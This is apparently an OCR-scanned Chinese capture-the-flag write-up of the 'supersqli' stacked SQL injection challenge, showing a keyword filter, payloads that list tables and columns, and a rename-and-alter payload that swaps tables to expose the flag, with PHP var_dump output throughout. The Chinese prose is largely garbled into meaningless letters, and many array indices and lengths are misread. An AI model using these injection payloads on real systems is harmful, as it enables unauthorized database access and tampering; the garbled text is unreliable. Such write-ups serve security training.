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array(2) {

[0]=>

string(l) "1"

[11=>

string(7) "hahahah"
}
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B FRERARIHRSE, Rii—aE: ARNRER—FA

=5 sz
array(2) {

[oj=>

string(1l) "1"

[11=>

string(7) "hahahah"
}
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e e Ca—

array(2) {
[01=>
string(l) "1"
[11=>
string(7) "hahahah"

array(2) {
[0]=>
string(l) "2"
[11=>
string(12) "miaomiaomiao"

}

array(2) {
[0]1=>
string(6) "114514"
[11=>
string(2) "ys"
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IEHEREER, orderby

B FREREIWHIRSE, Ri—01E: ARNRER—TT
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array(2) {
[0]=>
string(1l) "1"
[11=>
string(7) "hahahah"
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BHFRRETFESE, RE—aE: FRIReH—Fa

return preg match("/select|update|delete|drop|insert|where|\./i",$inject);
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array(2) {

[0]=>

string(l) "1"

[11=>

string(7) "hahahah"
}

array(1l) {
[0]=>
string(1l) "ctftraining"

}

array(1l) {
[0]=>
string(18) "information_schema"

}

array(1l) {

[0]=>

string(5) "mysql"
}

array(1l) {
[0]=>
string(18) "performance_ schema"

array(1l) {
[0]=>
string(9) "supersqli"

array(1l) {

[0]=>

string(4) "test"
}

WUBBRIN T, FEEREN,

LATH EEshow tables RE# T, A TFREARREMHE

DA TFERELHFESE, Riii—aiF: ARNRER—F0

—féﬁ_',' 1'; show tables;# R

array(2) {

[0]=>

string(l) "1"

[1]=>

string(7) "hahahah"
}

array(l) {

[0]=>

string(16) "1919810931114514"
}

array(l) {
[0]=>
string(5) "words"

}
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0’; show columns from words ;#

WA FREREIHESE, Ri—aiE: FRNRER—TT

Qﬁ 0'; show columns from = 2%

array(6) {
[0]=>
string(2) "id"
[11=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[31=>
string(0) ""
[4]=>
NULL
[5]1=>
string(0) ""

}

array(6) {
[0]=>
string(4) "data"
[11=>
string(1l1l) "varchar(20)"
[2]=>
string(2) "NO"
[31=>
string(0) ""
[4]1=>
NULL
[5]1=>
string(0) ""

0’; show columns from 1919810931114514 ;#

B FERXAIHRSE, Rii—ai&: AANZER—AA

BB 11919810031114514 #1823

array(6) {
[0]=>
string(4) "flag"
[11=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[31=>
string(0) ""
[4]=>
NULL
[5]1=>
string(0) ""
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A &R 2 #1E A) 24481 : select id, data from word where id =

(X BN EHE KXt word 5 & # AT LAE B ERA RS, idfdata)
MRJ51919810931114514 R A —Mlag+F B

X BAF R ENEE, ERF T Ealertilrename X+
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2.1919810931114514 %4 ~Hwords
3K IwordZ A —51, %14 Aid
4 ¥flag¥| 4 Hdata

¥ payload

1’;rename table words to wordl ;rename table 1919810931114514 to words ;alter table words add id int unsigned not Null
auto_increment primary key; alert table words change flag data varchar(100)#
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DM TFERXRIHIESE, RiA—aiEF: FRNRER—FT]

B vor1=14 ®X

array(2) {
[0]=>
string(32) "flag{glzjin_wants_a_girl_firend}"
[11=>

string(1l) "1"
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array(2) {
[01=>
string(32) "flag{glzjin_wants_a_girl_firend}"
[11=>
string(l) "1"

array(l) {
[0]=>
string(5) "wordl"

}

array(1l) {
[01=>
string(5) "words"

BAEWords R4 (emmm,iX BE AKX RllagFB4...)

B FREREZHIRBE, Rii—0i&: FRNRER—FT
Z8: [1; show columns from | 125

array(2) {
[0]=>
string(32) "flag{glzjin_wants_a girl_ firend}"
[11=>
string(l) "1"

array(6) {
[0]=>
string(4) "flag"
[11=>
string(12) "varchar(100)"
[21=>
string(2) "NO"
[31=>
string(0) ""
[41=>
NULL
[51=>
string(0) ""

}

array(6) {
[0]=>
string(2) "id"
[11=>
string(16) "int(10) unsigned"
[2]=>
string(2) "NO"
[31=>
string(3) "PRI"
[41=>
NULL
[51=>
string(14) "auto_increment"
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1’; ALTER TABLE words CHANGE flag data VARCHAR(100) CHARACTER SET utf8 COLLATE utf8 general _ci NOT
NULL ;show columns from words;#

B FRERALMRSE, RiR—a1E: ARNRER—FT

B nx

array(2) {
[0]=>
string(32) "flag{glzjin wants_a_girl_ firend}"
[11=>

string(1l) "1"
}

array(6) {
[0]=>
string(4) "data"
[11=>
string(12) "varchar(100)"
[21=>
string(2) "NO"
[31=>
string(0) ""
[4]1=>
NULL
[51=>
string(0) ""

}

array(6) {
[0]=>
string(2) "id"
[11=>
string(16) "int(10) unsigned"
[21=>
string(2) "NO"
[31=>
string(3) "PRI"
[4]=>
NULL
[51=>
string(1l4) "auto_increment"
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